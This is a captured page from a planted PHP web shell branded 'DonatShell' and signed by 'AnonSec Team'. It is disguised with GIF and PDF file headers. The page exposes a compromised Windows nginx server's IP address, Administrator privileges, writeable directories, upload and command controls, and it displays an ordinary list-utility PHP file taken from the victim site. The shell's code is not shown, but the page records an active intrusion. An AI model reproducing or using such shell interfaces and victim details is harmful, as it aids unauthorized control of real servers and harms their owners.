GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/functions_arraylist.phpinc
<?
// /common/functions_arraylist.phpinc
// Setup up arraylist functions.

#debugTrackBegin();

// arrayToList($array,$separator)
// Returns the array as an trimmed list.
//      $array = the array used to create the list.
// $separator = the list separator. Default is a comma ','.
function arrayToList($array,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$list = '';
	foreach($array as $item) {
		$list .= $item.$separator;
	}
	$list = substr($list,0,-1);
	#if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') { $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($array,$separator)=$list".": ".'<span class="pv_fl">'.basename($file).":".$line.'</span>'."</li>\n"; }
	return $list;
}

// listAnd($list,$separator)
// Returns the list with 'and' inserted.
//      $list = the list to modify.
// $separator = the list separator. Default is a comma ','.
// IE: $list='one' returns 'one'.
// IE: $list='one,two' returns 'one and two'.
// IE: $list='one,two,three' returns 'one, two, and three'.
function listAnd($list,$separator=',',$word='and') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listArray = listToArray($list,$separator);
	$listLen = count($listArray);
	if ($listLen > 1) {
		$listReturn = '';
		$separator='';
		if ($listLen != 2) { $separatorNext = ', '; } else { $separatorNext = ' '; }
		for ($i = 0; $i < $listLen; $i++) {
			if ($i == $listLen-1) { $separator .= $word.' '; }
			$listReturn .= $separator.$listArray[$i];
			$separator = $separatorNext;
		}
		$listAnd = $listReturn;
	} else {
		$listAnd = $list;
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$separator,$word)=$listAnd".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $listAnd;
}

// listAppend($list,$item,$separator)
// Returns the list with the $item appended to the end of the list.
//      $list = the list.
//      $item = the item to append to the list.
// $separator = the list separator. Default is a comma ','.
function listAppend($list,$item,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listReturn = $list;
	if ($list != '') {
		if ($item != '') $listReturn .= $separator.$item;
	} else {
		if ($item != '') $listReturn .= $item;
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '' && isset($_SESSION['TRACK']) && !strstr($debug_backtrace['0']['file'],'functions')) $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$item,'$separator')=$listReturn".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $listReturn;
}

// listFind($list,$item,$separator)
// Searches the $list for the $item and returns the first position found. Returns false if not found.
//      $list = the list.
//      $item = the item to append to the list.
// $separator = the list separator. Default is a comma ','.
function listFind($list,$item,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listArray = explode($separator,$list);
	$listFind = false;
	$listSearch = 0;
	foreach ($listArray as $key => $value) {
		$listSearch++;
		if (!$listFind && $value == $item) $listFind = $listSearch;
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$item,$separator)=$list".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $listFind;
}

// listGetAt($list, $index, $separator)
// Returns the value of the list item at the $index position. If there is no entry at $index returns false.
//      $list = the list to use.
//     $index = the index of the list item to return. The $index begins with 0.
// $separator = the list separator. Default is a comma ','.
function listGetAt($list, $index, $separator=',') {
  $listArray = explode($separator,$list);
  if ( is_numeric($index) && $index >= 0 && $index < count($listArray) ) {
    $listGet = $listArray[$index];
  } else {
    $listGet = false;
  }
  return $listGet;
}

// listLen($list,$separator)
// Returns the length of the list.
//      $list = the list to count.
// $separator = the list separator. Default is a comma ','.
function listLen($list,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listArray = explode($separator,$list);
	$listLen = count($listArray);
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$separator)=$listLen".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $listLen;
}

// listOr($list,$separator)
// Returns the list with 'or' inserted.
//      $list = the list to modify.
// $separator = the list separator. Default is a comma ','.
// IE: $list='one' returns 'one'.
// IE: $list='one,two' returns 'one or two'.
// IE: $list='one,two,three' returns 'one, two, or three'.
function listOr($list,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listOr = listAnd($list,$separator,'or');
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$separator)=$listOr".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $listOr;
}

// listPrepend($list,$item,$separator)
// Returns the list with the $item prepended to the beginning of the list.
//      $list = the list.
//      $item = the item to prepend to the list.
// $separator = the list separator. Default is a comma ','.
function listPrepend($list,$item,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	if ($list != '') {
		$list = $item.$separator.$list;
	} else {
		$list .= $item;
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$item,$separator)=$list".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $list;
}

// listSort($list,$separator,$forward)
// Returns the sorted list.
function listSort($list,$separator=',',$forward=true) {
	$listArray = explode($separator,$list);
	if ( $forward ) {
		sort($listArray);
	} else {
		rsort($listArray);
	}
	$list = '';
	foreach ($listArray as $listItem) {
		$list = listAppend($list,$listItem,$separator);
	}
	return $list;
}

// listToArray($list,$separator)
// Returns the list as an trimmed array.
//      $list = the list to split.
// $separator = the list separator. Default is a comma ','.
function listToArray($list,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listToArray = explode($separator,$list);
	for ($i = 0; $i < count($listToArray); $i++) {
		$listToArray[$i] = trim($listToArray[$i]);
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') { $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$separator)=Array"; foreach($listToArray as $key=>$value) { $_SESSION['TRACK'] .= " [$key]=$value"; } $_SESSION['TRACK'] .= ": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n"; }
	return $listToArray;
}

// listUnique($list,$separator)
// Returns the list without duplicates.
//      $list = the list to parse.
// $separator = the list separator. Default is a comma ','.
function listUnique($list,$separator=',') {
  $listUnique = '';
	$listToArray = explode($separator,$list);
	$listAddedArray = array();
  for ($i = 0; $i < count($listToArray); $i++) {
    if ( !in_array($listToArray[$i],$listAddedArray) ) {
			$listUnique = listAppend($listUnique, $listToArray[$i]);
			$listAddedArray[] = $listToArray[$i];
		}
  }
  return $listUnique;
}

// nonEmptyList($list)
// Returns the list without any empty elements.
//      $list = the list to parse.
// $separator = the list separator. Default is a comma ','.
function nonEmptyList($list,$separator=',') {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$listArray = explode($separator,$list);
	$resultList = '';
	foreach ($listArray as $value) {
		if ($value != '') { $resultList .= ', '.$value; }
	}
	$resultList = substr($resultList,2);
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($list,$separator)=$resultList".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $resultList;
}

#debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team